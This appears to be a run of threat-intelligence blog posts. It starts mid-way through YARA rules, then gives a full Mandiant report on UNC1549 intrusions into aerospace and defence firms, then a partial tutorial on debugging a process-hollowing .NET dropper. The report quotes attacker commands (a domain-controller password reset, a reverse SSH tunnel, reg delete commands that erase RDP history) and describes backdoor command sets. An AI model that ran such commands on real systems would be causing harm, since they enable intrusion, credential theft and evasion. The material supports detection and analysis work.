        $f1 = { ( 0F 1F 84 00 00 00 00 00 | 66 2E 0F 1F 84 00 00 00 00 00 | 0F 1F 44 00 00 | 0F 1F 40 00 | 0F 1F 00 | 66 90 ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? | 0F 8? ) }
        $f2 = /\x0F\x4C\xC1\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})/
    condition:
        all of ($s*) and 3 of ($dc*) and uint16(0) == 0x5A4D and (#f1 > 5 or #f2 > 2) and filesize < 10MB
}

rule G_APT_DOWNLOADER_BADAUDIO_4 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
    strings:
        $p00_0 = {8d4d??e8[4]8b7d??83c6??eb??c745[5]e8[4]8b4d??64890d}
        $p00_1 = {568b7c24??8b7424??8b5424??89f1e8[4]f20f1007f20f104f??f20f118e}

    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        (
            ($p00_0 in (0..1100000) and $p00_1 in (0..990000))
        )
}

Written by: Mohamed El-Banna, Daniel Lee, Mike Stokkel, Josh Goddard

Overview

Last year, Mandiant published a blog post highlighting suspected Iran-nexus espionage activity targeting the aerospace, aviation, and defense industries in the Middle East. In this follow-up post, Mandiant discusses additional tactics, techniques, and procedures (TTPs) observed in incidents Mandiant has responded to.

Since mid-2024, Mandiant has responded to targeted campaigns by the threat group UNC1549 against the aerospace, aviation and defense industries. To gain initial access into these environments, UNC1549 employed a dual approach: deploying well-crafted phishing campaigns designed to steal credentials or deliver malware and exploiting trusted connections with third-party suppliers and partners.

The latter technique is particularly strategic when targeting organizations with high security maturity, such as defense contractors. While these primary targets often invest heavily in robust defenses, their third-party partners may possess less stringent security postures. This disparity provides UNC1549 a path of lesser resistance, allowing them to circumvent the primary target's main security controls by first compromising a connected entity.

Operating in late 2023 through 2025, UNC1549 employed sophisticated initial access vectors, including abuse of third-party relationships to gain entry (pivoting from service providers to their customers), VDI breakouts from third parties, and highly targeted, role-relevant phishing.

Once inside, the group leverages creative lateral movement techniques, such as stealing victim source code for spear-phishing campaigns that use lookalike domains to bypass proxies, and abusing internal service ticketing systems for credential access. They employ custom tooling, notably DCSYNCER.SLICK—a variant deployed via search order hijacking to conduct DCSync attacks.

UNC1549’s campaign is distinguished by its focus on anticipating investigators and ensuring long-term persistence after detection. They plant backdoors that beacon silently for months, only activating them to regain access after the victim has attempted eradication. They maintain stealth and command and control (C2) using extensive reverse SSH shells (which limit forensic evidence) and domains strategically mimicking the victim's industry.

Threat Activity

Initial Compromise

A primary initial access vector employed by UNC1549 involved combining targeted social engineering with the exploitation of compromised third-party accounts. Leveraging credentials harvested from vendors, partners, or other trusted external entities, UNC1549 exploited legitimate access pathways inherent in these relationships.

Third-Party Services

Notably, the group frequently abused Citrix, VMWare, and Azure Virtual Desktop and Application services provided by victim organizations to third party partners, collaborators, and contractors. Utilizing compromised third-party credentials, they authenticated to the supplier’s infrastructure, establishing an initial foothold within the network perimeter. Post-authentication, UNC1549 used techniques designed to escape the security boundaries and restrictions of the virtualized Citrix session. This breakout granted them access to the underlying host system or adjacent network segments, and enabled the initiation of lateral movement activities deeper within the target corporate network.

Spear Phishing

UNC1549 utilized targeted spear-phishing emails as one of the methods to gain initial network access. These emails used lures related to job opportunities or recruitment efforts, aiming to trick recipients into downloading and running malware hidden in attachments or links. Figure 1 shows a sample phishing email sent to one of the victims.

Following a successful breach, Mandiant observed UNC1549 pivoting to spear-phishing campaigns specifically targeting IT staff and administrators. The goal of this campaign was to obtain credentials with higher permissions. To make these phishing attempts more believable, the attackers often perform reconnaissance first, such as reviewing older emails in already compromised inboxes for legitimate password reset requests or identifying the company's internal password reset webpages, then crafted their malicious emails to mimic these authentic processes.

Establish Foothold

To maintain persistence within compromised networks, UNC1549 deployed several custom backdoors. Beyond MINIBIKE, which Mandiant discussed in the February 2024 blog post, the group also utilizes other custom malware such as TWOSTROKE and DEEPROOT. Significantly, Mandiant's analysis revealed that while the malware used for initial targeting and compromises was not unique, every post-exploitation payload identified, regardless of family, had a unique hash. This included instances where multiple samples of the same backdoor variant were found within the same victim network. This approach highlights UNC1549's sophistication and the considerable effort invested in customizing their tools to evade detection and complicate forensic investigations.

Search Order Hijacking

UNC1549 abused DLL search order hijacking to execute CRASHPAD, DCSYNCER.SLICK, GHOSTLINE, LIGHTRAIL, MINIBIKE, POLLBLEND, SIGHTGRAB, and TWOSTROKE payloads. Using the DLL search order hijacking techniques, UNC1549 achieved a persistent and stealthy way of executing their tooling.

Throughout the different investigations, UNC1549 demonstrated a comprehensive understanding of software dependencies by exploiting DLL search order hijacking in multiple software solutions. UNC1549 has deployed malicious binaries targeting legitimate Fortigate, VMWare, Citrix, Microsoft, and NVIDIA executables. In many cases, the threat actor installed the legitimate software after initial access in order to abuse SOH; however, in other cases, the attacker leveraged software that was already installed on victim systems and then replaced or added the malicious DLLs within the legitimate installation directory, typically with SYSTEM privileges.

TWOSTROKE

TWOSTROKE, a C++ backdoor, utilizes SSL-encrypted TCP/443 connections to communicate with its controllers. This malware possesses a diverse command set, allowing for system information collection, DLL loading, file manipulation, and persistence. While showing some similarities to MINIBIKE, it's considered a unique backdoor.

Upon execution of TWOSTROKE, it employs a specific routine to generate a unique victim identifier. TWOSTRIKE retrieves the fully qualified DNS computer name using the Windows API function GetComputerNameExW(ComputerNameDnsFullyQualified). This retrieved name then undergoes an XOR encryption process, utilizing the static key. Following the encryption, the resulting binary data is converted into a lowercase hexadecimal string. 

Finally, TWOSTROKE extracts the first eight characters of this hexadecimal string, reverses it, and uses it as the victim's unique bot ID for later communication with the C2 server.

Functionalities

After sending the check in request to the C2 server, the TWOSTROKE C2 server returns with a hex-encoded payload that contains multiple values separated by "@##@." Depending on the received command, TWOSTROKE can execute one of the following commands:

• 1: Upload a file to the C2

• 2: Execute a file or a shell command

• 3: DLL execution into memory

• 4: Download file from the C2

• 5: Get the full victim user name

• 6: Get the full victim machine name

• 7: List a directory

• 8: Delete a file

LIGHTRAIL

UNC1549 was observed downloading a ZIP file from attacker-owned infrastructure. This ZIP file contained the LIGHTRAIL tunneler as VGAuth.dll and was executed through search order hijacking using the VGAuthCLI.exe executable. LIGHTRAIL is a custom tunneler, likely based on the open-source Socks4a proxy, Lastenzug, that communicates using Azure cloud infrastructure. 

There are several distinct differences between the LIGHTRAIL sample and the LastenZug source code. These include:

• Increasing the MAX_CONNECTIONS from 250 to 5000

• Static configuration inside the lastenzug function (wPath and port)

• No support for using a proxy server when connecting to the WebSocket C2

• Compiler optimizations reducing the number of functions (26 to 10)

Additionally, LastenZug is using hashing for DLLs and API function resolving. By default, the hash value is XOR’d with the value 0x41507712, while the XOR value in the observed LIGHTRAIL sample differs from the original source code - 0x41424344 (‘ABCD’).

After loading the necessary API function pointers, the initialization continues by populating the server name (wServerName), the port, and URI (wPath) values. The port is hardcoded at 443 (for HTTPS) and the path is hardcoded to "/news." This differs from the source code where these values are input parameters to the lastenzug function.

The initWS function is responsible for establishing the WebSocket connection, which it does using the Windows WinHTTP API. The initWS function has a hard-coded User-Agent string which it constructs as a stack string:

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136

Mandiant identified another LIGHTRAIL sample uploaded to VirusTotal from Germany. However, this sample seems to have been modified by the uploader as the C2 domain was intentionally altered.

GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
Connection: Upgrade
Upgrade: websocket
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
Sec-WebSocket-Version: 13

Figure 2: Modified LIGHTRAIL network communication snippet

Most notable is that this sample is using a different URL path for its communication, but also the User-Agent in this sample is different from the one that was observed in previous LIGHTRAIL samples and the LastenZug source code.

DEEPROOT

DEEPROOT is a Linux backdoor written in Golang and supports the following functionalities: shell command execution, system information enumeration and file listing, delete, upload, and download. DEEPROOT was compiled to be operating on Linux systems; however, due to Golang’s architecture DEEPROOT could also be compiled for other operating systems. At the time of writing, Mandiant has not observed any DEEPROOT samples targeting Windows systems.

DEEPROOT was observed using multiple C2 domains hosted in Microsoft Azure. The observed DEEPROOT samples used multiple C2 servers per binary, suspected to be used for redundancy in case one C2 server has been taken down.

Functionalities

After sending the check in request to the C2 server, the DEEPROOT C2 server returns with a hex-encoded payload that contains multiple values separated by ‘-===-’

<sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>

Figure 3: Decoded POST body data structure

• sleep_timeout is the time in milli-seconds to wait before making the next request.

• command_id is an identifier for the C2 command, used by the backdoor when responding to the C2 with the result.

• command is the command number and it's one of the following:

• 1 - Get directory information (directory listing), the directory path is received in argument_1.

• 2 - Delete a file, the file path is received in argument_1.

• 3 - Get the victim username.

• 4 - Get the victim's hostname.

• 5 - Execute a shell command, the shell command is received in argument_1.

• 6 - Download a file from the C2, the C2 file path is received in argument_1 and the local file path is received in argument_2.

• 7 - Upload a file to the C2, the local file path is received in argument_1.

• argument_1 and argument_2 are the command arguments and it is optional.

GHOSTLINE

GHOSTLINE is a Windows tunneler utility written in Golang that uses a hard-coded domain for its communication. GHOSTLINE uses the go-yamux library for its network connection.

POLLBLEND

POLLBLEND is a Windows tunneler that is written in C++. Earlier iterations of POLLBLEND featured multiple hardcoded C2 servers and utilized two hardcoded URI parameters for self-registration and tunneler configuration download. For the registration of the machine, POLLBLEND would reach out to /register/ and sent a HTTP POST request with the following JSON body.

{"username": "<computer_name>"}

Figure 4: POLLBLEND body data

Code Signing

Throughout the tracking of UNC1549’s activity across multiple intrusions, the Iranian-backed threat group was observed signing some of their backdoor binaries with legitimate code-signing certificates—a tactic also covered by Check Point—likely to help their malware evade detection and bypass security controls like application allowlists, which are often configured to trust digitally signed code. The group employed this technique to weaponize malware samples, including variants for GHOSTLINE, POLLBLEND, and TWOSTROKE. All identified code-signing certificates have been reported to the relevant issuing Certificate Authorities for revocation.

Escalate Privileges

UNC1549 has been observed using a variety of techniques and custom tools aimed at stealing credentials and gathering sensitive data post-compromise. This included a utility, tracked as DCSYNCER.SLICK, designed to mimic the DCSync Active Directory replication feature. DCSync is a legitimate function domain controllers use for replicating changes via RPC. This allowed the attackers to extract NTLM password hashes directly from the domain controllers. Another tool, dubbed CRASHPAD, focused on extracting credentials saved within web browsers. For visual data collection, they deployed SIGHTGRAB, a tool capable of taking periodic screenshots, potentially capturing sensitive information displayed on the user's screen. Additionally, UNC1549 utilized simpler methods, such as deploying TRUSTTRAP, which presented fake popup windows prompting users to enter their credentials, which were then harvested by the attackers.

UNC1549 frequently used DCSync attacks to obtain NTLM password hashes for domain users, which they then cracked in order to facilitate lateral movement and privilege escalation. To gain the necessary directory replication rights for DCSync, the threat actor employed several methods. They were observed unconventionally resetting passwords for domain controller computer accounts using net.exe. This action typically broke the domain controller functionality of the host and caused an outage, yet it successfully enabled them to perform the DCSync operation and extract sensitive credentials, including those for domain administrators and Azure AD Connect accounts. UNC1549 leveraged other techniques to gain domain replication rights, including creating rogue computer accounts and abusing Resource-Based Constrained Delegation (RBCD) assignments. They also performed Kerberoasting, utilizing obfuscated Invoke-Kerberoast scripts, for credential theft.

net user DC-01$ P@ssw0rd

Figure 5: Example of an UNC1549 net.exe command to reset a domain controller computer account

In some cases, shortly after gaining a foothold on workstations, UNC1549 discovered vulnerable Active Directory Certificate Services templates. They used these to request certificates, allowing them to impersonate higher-privileged user accounts.

UNC1549 also frequently targeted saved credentials within web browsers, either through malicious utilities or by RDP session hijacking. In the latter, the threat actor would identify which user was logged onto a system through quser.exe or wmic.exe, and then RDP to that system with the user's account to gain access to their active and unlocked web browser sessions.

DCSYNCER.SLICK

DCSYNCER.SLICK is a Windows executable that is based on the Open source Project DCSyncer and is based on Mimikatz source code. DCSYNCER.SLICK has been modified to use Dynamic API resolution and has all its printf statements removed.

Additionally, DCSYNCER.SLICK collects and XOR-encrypts the credentials before writing them to a hardcoded filename and path. The following hardcoded filenames and paths were observed being used by DCSYNCER.SLICK:

• C:\users\public\LOG.txt
• C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt

To evade detection, UNC1549 executed the malware within the context of a compromised domain controller computer account. They achieved this compromise by manually resetting the account password. Instead of utilizing the standard netdom command, UNC1549 used the Windows command net user <computer_name> <password>. Subsequently, they used these newly acquired credentials to execute the DCSYNCER.SLICK payload. This tactic would give the false impression that replication had occurred between two legitimate domain controllers.

CRASHPAD

CRASHPAD is a Windows executable that is written in C++ that decrypts the content of the file config.txt into the file crash.log by impersonating the explorer.exe user privilege and through the CryptUnprotectData API.

• C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log

• C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt

The contents of these files could not be determined because UNC1549 deleted the output after CRASHPAD was executed.

The CRASHPAD configuration and output file paths were hardcoded into the sample, similar to the LOG.txt filename found in the DCSYNCER.SLICK binary.

SIGHTGRAB

SIGHTGRAB is a Windows executable written in C that autonomously captures screen shots at regular intervals and saves them to disk. Upon execution SIGHTGRAB loads several Windows libraries dynamically at runtime including User32.dll, Gdi32.dll, and Ole32.dll. SIGHTGRAB implements runtime API resolution through LoadLibraryA and GetProcAddress calls with encoded strings to access system functions. SIGHTGRAB uses XOR encryption with a single-byte key of 0x41 to decode API function names.

SIGHTGRAB retrieves the current timestamp and uses string interpolation of YYYY-MM-DD-HH-MM on the timestamp to generate the directory name. In this newly created directory, SIGHTGRAB saves all the taken screenshots incrementally.

C:\Users\Public\Videos\2025-3-7-10-17\1.jpg
C:\Users\Public\Videos\2025-3-7-10-17\2.jpg
C:\Users\Public\Videos\2025-3-7-10-17\3.jpg

C:\Users\Public\Music\2025-3-7-10-17\1.jpg
C:\Users\Public\Music\2025-3-7-10-17\2.jpg
C:\Users\Public\Music\2025-3-7-10-17\3.jpg

Figure 6: Examples of screenshot files created by SIGHTGRAB on disk

Mandiant observed UNC1549 strategically deploy SIGHTGRAB on workstations to target users in two categories: those handling sensitive data, allowing for subsequent data exposure and exfiltration, and those with privileged access, enabling privilege escalation and access to restricted systems.

TRUSTTRAP

A malware that serves a Windows prompt to trick the user into submitting their credentials. The captured credentials are saved in cleartext to a file. Figure 7 shows a sample popup by TRUSTTRAP mimicking the Microsoft Outlook login window.

TRUSTTRAP has been used by UNC1549 since at least 2023 for obtaining user credentials used for lateral movement.

Reconnaissance and Lateral Movement

For internal reconnaissance, UNC1549 leveraged legitimate tools and publicly available utilities, likely to blend in with standard administrative activities. AD Explorer, a valid executable signed by Microsoft, was used to query Active Directory and inspect its configuration details. Alongside this, the group employed native Windows commands like net user and net group to enumerate specific user accounts and group memberships within the domain, and PowerShell scripts for ping and port scanning reconnaissance on specific subnets, typically those associated with privileged servers or IT administrator workstations 

UNC1549 uses a wide variety of methods for lateral movement, depending on restrictions within the victim environment. Most frequently, RDP was used. Mandiant also observed the use of PowerShell Remoting, Atelier Web Remote Commander (“AWRC”), and SCCM remote control, including execution of variants of SCCMVNC to enable SCCM remote control on systems.

Atelier Web Remote Commander

Atelier Web Remote Commander (AWRC) is a commercial utility for remotely managing, auditing, and supporting Windows systems. Its key distinction is its agentless design, meaning it requires no software installation or pre-configuration on the remote machine, enabling administrators to connect immediately. 

Leveraging the capabilities of AWRC, UNC1549 utilized this publicly available commercial tool to facilitate post-compromise activities. These activities included:

• Established remote connections: Used AWRC to connect remotely to targeted hosts within the compromised network

• Conducted reconnaissance: Employed AWRC's built-in functions to gather information by:

• Enumerating running services

• Enumerating active processes

• Enumerating existing RDP sessions

• Stole credentials: Exploited AWRC to exfiltrate sensitive browser files known to contain stored user credentials from remote systems

• Deployed malware: Used AWRC as a vector to transfer and deploy malware onto compromised machines

SCCMVNC

SCCMVNC is a tool designed to leverage the existing Remote Control feature within Microsoft System Center Configuration Manager (SCCM/ConfigMgr) to achieve a VNC-like remote access experience without requiring additional third-party modules or user consent/notifications.

SCCM.exe reconfig /target:[REDACTED]

Figure 8: Example of an UNC1549 executing SCCMVNC command

The core functionality of SCCMVNC lies in its ability to manipulate the existing Remote Control feature of SCCM. Instead of deploying a separate VNC server or other remote access software, the tool directly interacts with and reconfigures the settings of the native SCCM Remote Control service on a client workstation. This approach leverages an already present and trusted component within the enterprise environment.

A key aspect of SCCMVNC is its capacity to bypass the standard consent and notification mechanisms typically associated with SCCM Remote Control. Normally, when an SCCM remote control session is initiated, the end-user is prompted for permission, and various notification icons or connection bars are displayed. SCCMVNC effectively reconfigures the underlying SCCM settings (primarily through WMI interactions) to disable these user-facing requirements. This alteration allows for a significantly more discreet and seamless remote access experience, akin to what one might expect from a VNC connection where the user might not be immediately aware of the ongoing session.

Command and Control

UNC1549 continued to use Microsoft Azure Web Apps registrations and cloud infrastructure for C2. In addition to backdoors including MINIBUS, MINIBIKE, and TWOSTROKE, UNC1549 relied heavily on SSH reverse tunnels established on compromised systems to forward traffic from their C2 servers to compromised systems. This technique limited the availability of host-based artifacts during investigations, since security telemetry would only record network connections. For example, during data collection from SMB shares, outbound connections were observed from the SSH processes to port 445 on remote systems, but the actual data collected could not be confirmed due to no staging taking place within the victim environment, and object auditing being disabled.

C:\windows\system32\openssh\ssh.exe[Username]@[IP Address] -p 443 -o ServerAliveInterval=60 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -f -N -R 1070

Figure 9: Example of an UNC1549 reverse SSH command

Mandiant also identified evidence of UNC1549 deploying a variety of redundant remote access methods, including ZEROTIER and NGROK. In some instances, these alternative methods weren't used by the threat actor until victim organizations had performed remediation actions, suggesting they are primarily deployed to retain access.

Complete Mission

Espionage

UNC1549's operations appear strongly motivated by espionage, with mission objectives centering around extensive data collection from targeted networks. The group actively seeks sensitive information, including network/IT documentation, intellectual property, and emails. Furthermore, UNC1549 often leverages compromised organizations as a pivot point, using their access to target other entities, particularly those within the same industry sector, effectively conducting third-party supplier and partner intrusions to further their intelligence-gathering goals.

Notably, Mandiant responded to one intrusion at an organization in an unrelated sector, and assessed that the intrusion was opportunistic due to the initial spear phishing lure being related to a job at an aerospace and defense organization. This demonstrated UNC1549’s ability to commit resources to expanding access and persistence in victim organizations that don’t immediately meet traditional espionage goals.

Defense Evasion

UNC1549 frequently deleted utilities from compromised systems after execution to avoid detection and hinder investigation efforts. The deletion of forensic artifacts, including RDP connection history registry keys, was also observed. Additionally, as described earlier, the group repeatedly used SSH reverse tunnels from victim hosts back to their infrastructure, a technique which helped hide their activity from EDR agents installed on those systems. Combined, this activity demonstrated an increase in the operational security of UNC1549 over the past year.

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f

Figure 10: Examples of UNC1549 commands to delete RDP connection history registry keys

Acknowledgement

This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, Mandiant Consulting and FLARE. We would like to specifically thank Greg Sinclair and Mustafa Nasser from FLARE, and Melissa Derr, Liam Smith, Chris Eastwood, Alex Pietz, Ross Inman, and Emeka Agu from Mandiant Consulting.

MITRE ATT&CK

Indicators of Compromise (IOCs)

The following IOCs are available in a GTI Collection for registered users.

YARA Rules

import "pe"

rule M_APT_Utility_DCSYNCER_SLICK_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "10f16991665df69d1ccd5187e027cf3d"
	strings:
		$ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
		$ = "\\LOG.txt" ascii wide
		$ = "%ws_%d:%d:" ascii wide fullword
		$ = "%ws:%d:" ascii wide fullword
		$ = "::::" ascii wide fullword
		$ = "%ws_%d:%d::" ascii wide fullword
		$ = "%ws:%d::" ascii wide fullword
	condition:
		pe.is_pe and all of them
}

import "pe"

rule M_APT_Utility_CRASHPAD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "b2bd275f97cb95c7399065b57f90bb6c"
	strings:
		$ = "[-] Loo ror: %u" ascii fullword
		$ = "[-] Adj r: %u" ascii fullword
		$ = "[-] Th ge. " ascii fullword
		$ = "[+] O s!" ascii fullword
		$ = "[-] O C: %i" ascii fullword
		$ = "[-] O E: %i" ascii fullword
		$ = "[+] Op cess!" ascii fullword
		$ = "[-] Op Code: %i" ascii fullword
		$ = "[-] O Error: %i" ascii fullword
		$ = "[+] Im su!" ascii fullword
		$ = "[+] R" ascii fullword
		$ = "[-] Impe Code: %i" ascii fullword
		$ = "[-] Imo: %i" ascii fullword
		$ = "[+] Du success!" ascii fullword
		$ = "[-] Du Code: %i" ascii fullword
		$ = "[-] Du Error: %i" ascii fullword
		$ = "[+] Dec Suc." ascii fullword
		$ = "%02X" ascii fullword
		$ = "Decryption failed" ascii fullword
		$ = "config.txt"
		$ = "crash.log"
		$ = "[+] e wt!" ascii fullword
		$ = "[+] p %d!" ascii fullword
		$ = "[+] e!" ascii fullword
	condition:
		pe.is_pe and 15 of them
}

Google Security Operations Detections

Google SecOps customers receive robust detection for UNC1549 TTPs through curated threat intelligence from Mandiant and Google Threat Intelligence. This frontline intelligence is operationalized within the platform as custom detection signatures and advanced YARA-L rules.

Written by: Josh Stroschein, Jae Young Kim

The prevalence of obfuscation and multi-stage layering in today’s malware often forces analysts into tedious and manual debugging sessions. For instance, the primary challenge of analyzing pervasive commodity stealers like AgentTesla isn’t identifying the malware, but quickly cutting through the obfuscated delivery chain to get to the final payload.

Unlike traditional live debugging, Time Travel Debugging (TTD) captures a deterministic, shareable record of a program's execution. Leveraging TTD's powerful data model and time travel capabilities allow us to efficiently pivot to the key execution events that lead to the final payload.

This post introduces all of the basics of WinDbg and TTD necessary to start incorporating TTD into your analysis. We demonstrate why it deserves to be a part of your toolkit by walking through an obfuscated multi-stage .NET dropper that performs process hollowing.

What is Time Travel Debugging?

Time Travel Debugging (TTD), a technology offered by Microsoft as part of WinDbg, records a process’s execution into a trace file that can be replayed forwards and backwards. The ability to quickly rewind and replay execution reduces analysis time by eliminating the need to constantly restart debugging sessions or restore virtual machine snapshots. TTD also enables users to query the recorded execution data and filter it with Language Integrated Query (LINQ) to find specific events of interest like module loads or calls to APIs that implement malware functionalities like shellcode execution or process injection.

During recording, TTD acts as a transparent layer that allows full interaction with the operating system. A trace file preserves a complete execution record that can be shared with colleagues to facilitate collaboration, circumventing environmental differences that can affect the results of live debugging.

While TTD offers significant advantages, users should be aware of certain limitations. Currently, TTD is restricted to user-mode processes and cannot be used for kernel-mode debugging. The trace files generated by TTD have a proprietary format, meaning their analysis is largely tied to WinDbg. Finally, TTD does not offer "true" time travel in the sense of altering the program's past execution flow; if you wish to change a condition or variable and see a different outcome, you must capture an entirely new trace as the existing trace is a fixed recording of what occurred.

A Multi-Stage .NET Dropper with Signs of Process Hollowing

The Microsoft .NET framework has long been popular among threat actors for developing highly obfuscated malware. These programs often use code flattening, encryption, and multi-stage assemblies to complicate the analysis process. This complexity is amplified by Platform Invoke (P/Invoke), which gives managed .NET code direct access to the unmanaged Windows API, allowing authors to port tried-and-true evasion techniques like process hollowing into their code.

Process hollowing is a pervasive and effective form of code injection where malicious code runs under the guise of another process. It is common at the end of downloader chains because the technique allows injected code to assume the legitimacy of a benign process, making it difficult to spot the malware with basic monitoring tools.

In this case study, we'll use TTD to analyze a .NET dropper that executes its final stage via process hollowing. The case study demonstrates how TTD facilitates highly efficient analysis by quickly surfacing the relevant Windows API functions, enabling us to bypass the numerous layers of .NET obfuscation and pinpoint the payload.

Basic analysis is a vital first step that can often identify potential process hollowing activity. For instance, using a sandbox may reveal suspicious process launches. Malware authors frequently target legitimate .NET binaries for hollowing as these blend seamlessly with normal system operations. In this case, reviewing process activity on VirusTotal shows that the sample launches InstallUtil.exe (found in %windir%\Microsoft.NET\Framework\<version>\). While InstallUtil.exe is a legitimate utility, its execution as a child process of a suspected malicious sample is an indicator that helps focus our initial investigation on potential process injection.

Despite newer, more stealthy techniques, such as Process Doppelgänging, when an attacker employs process injection, it’s still often the classic version of process hollowing due to its reliability, relative simplicity, and the fact that it still effectively evades less sophisticated security solutions. The classic process hollowing steps are as follows:

1. CreateProcess (with the CREATE_SUSPENDED flag): Launches the victim process (InstallUtil.exe) but suspends its primary thread before execution.

2. ZwUnmapViewOfSection or NtUnmapViewOfSection: "Hollows out" the process by removing the original, legitimate code from memory.

3. VirtualAllocEx and WriteProcessMemory: Allocates new memory in the remote process and injects the malicious payload.

4. GetThreadContext: Retrieves the context (the state and register values) of the suspended primary thread.

5. SetThreadContext: Redirects the execution flow by modifying the entry point register within the retrieved context to point to the address of the newly injected malicious code.

6. ResumeThread: Resumes the thread, causing the malicious code to execute as if it were the legitimate process.

To confirm this activity in our sample using TTD, we focus our search on the process creation and the subsequent writes to the child process’s address space. The approach demonstrated in this search can be adapted to triage other techniques by adjusting the TTD queries to search for the APIs relevant to that technique.

Recording a Time Travel Trace of the Malware

To begin using TTD, you must first record a trace of a program's execution. There are two primary ways to record a trace: using the WinDbg UI or the command-line utilities provided by Microsoft. The command-line utilities offer the quickest and most customizable way to record a trace, and that is what we'll explore in this post.

Warning: Take all usual precautions for performing dynamic analysis of malware when recording a TTD trace of malware executables. TTD recording is not a sandbox technology and allows the malware to interface with the host and the environment without obstruction.

TTD.exe is the preferred command-line tool for recording traces. While Windows includes a built-in utility (tttracer.exe), that version has reduced features and is primarily intended for system diagnostics, not general use or automation. Not all WinDbg installations provide the TTD.exe utility or add it to the system path. The quickest way to get TTD.exe is to use the stand-alone installer provided by Microsoft. This installer automatically adds TTD.exe to the system's PATH environment variable, ensuring it's available from a command prompt. To see its usage information, run TTD.exe -help.

The quickest way to record a trace is to simply provide the command line invoking the target executable with the appropriate arguments. We use the following command to record a trace of our sample:

C:\Users\FLARE\Desktop\> ttd.exe 0b631f91f02ca9cffd66e7c64ee11a4b.bin
Microsoft (R) TTD 1.01.11 x64
Release: 1.11.532.0
Copyright (C) Microsoft Corporation. All rights reserved.

Launching '0b631f91f02ca9cffd66e7c64ee11a4b.bin'
    Initializing the recording of process (PID:2448) on trace file: C:\Users\FLARE\Desktop\0b631f91f02ca9cffd66e7c64ee11a4b02.run
    Recording has started of process (PID:2448) on trace file: C:\Users\FLARE\Desktop\0b631f91f02ca9cffd66e7c64ee11a4b02.run

Once TTD begins recording, the trace concludes in one of two ways. First, the tracing automatically stops upon the malware's termination (e.g., process exit, unhandled exception, etc.). Second, the user can manually intervene. While recording, TTD.exe displays a small dialog (shown in figure 2) with two control options:

• Tracing Off: Stops the trace and detaches from the process, allowing the program to continue execution.

• Exit App: Stops the trace and also terminates the process.

Recording a TTD trace produces the following files:

• <trace>.run: The trace file is a proprietary format that contains compressed execution data. The size of a trace file is influenced by the size of the program, the length of execution, and other external factors such as the number of additional resources that are loaded.

• <trace>.idx: The index file allows the debugger to quickly locate specific points in time during the trace, bypassing sequential scans of the entire trace. The index file is created automatically the first time a trace file is opened in WinDbg. In general, Microsoft suggests that index files are typically twice the size of the trace file.

• <trace>.out: The trace log file containing logs produced during trace recording.

Once a trace is complete, the .run file can be opened with WinDbg.

Triaging the TTD Trace: Shifting Focus to Data

The fundamental advantage of TTD is the ability to shift focus from manual code stepping to execution data analysis. Performing rapid, effective triage with this data-driven approach requires proficiency in both basic TTD navigation and querying the Debugger Data Model. Let's begin by exploring the basics of navigation and the Debugger Data Model.

Navigating a Trace

Basic navigation commands are available under the Home tab in the WinDbg UI.

The standard WinDbg commands and shortcuts for controlling execution are:

• g: Go (F5) – Resume execution

• gu: Go Up / Step Out (Shift+F11) – Execute until current function is complete

• t: Trace / Step Into (F11 or F8) – Single step into

• p: Step / Step Over (F10) – Single step over

Replaying a TTD trace enables the reverse flow control commands that complement the regular flow control commands. Each reverse flow control complement is formed by appending a dash (-) to the regular flow control command:

• g-: Go Back – Execute the trace backwards

• g-u: Step Out Back - Execute the trace backwards up to the last call instruction

• t-: Step Into Back – Single step into backwards

• p-: Step Over Back – Single step over backwards

Time Travel (!tt) Command

While basic navigation commands let you move step-by-step through a trace, the time travel command (!tt) enables precise navigation to a specific trace position. These positions are often provided in the output of various TTD commands. A position in a TTD trace is represented by two hexadecimal numbers in the format #:# (e.g., E:7D5) where:

• The first part is a sequencing number typically corresponding to a major execution event, such as a module load or an exception.

• The second part is a step count, indicating the number of events or instructions executed since that major execution event.

We'll use the time travel command later in this post to jump directly to the critical events in our process hollowing example, bypassing manual instruction tracing entirely.

The TTD Debugger Data Model

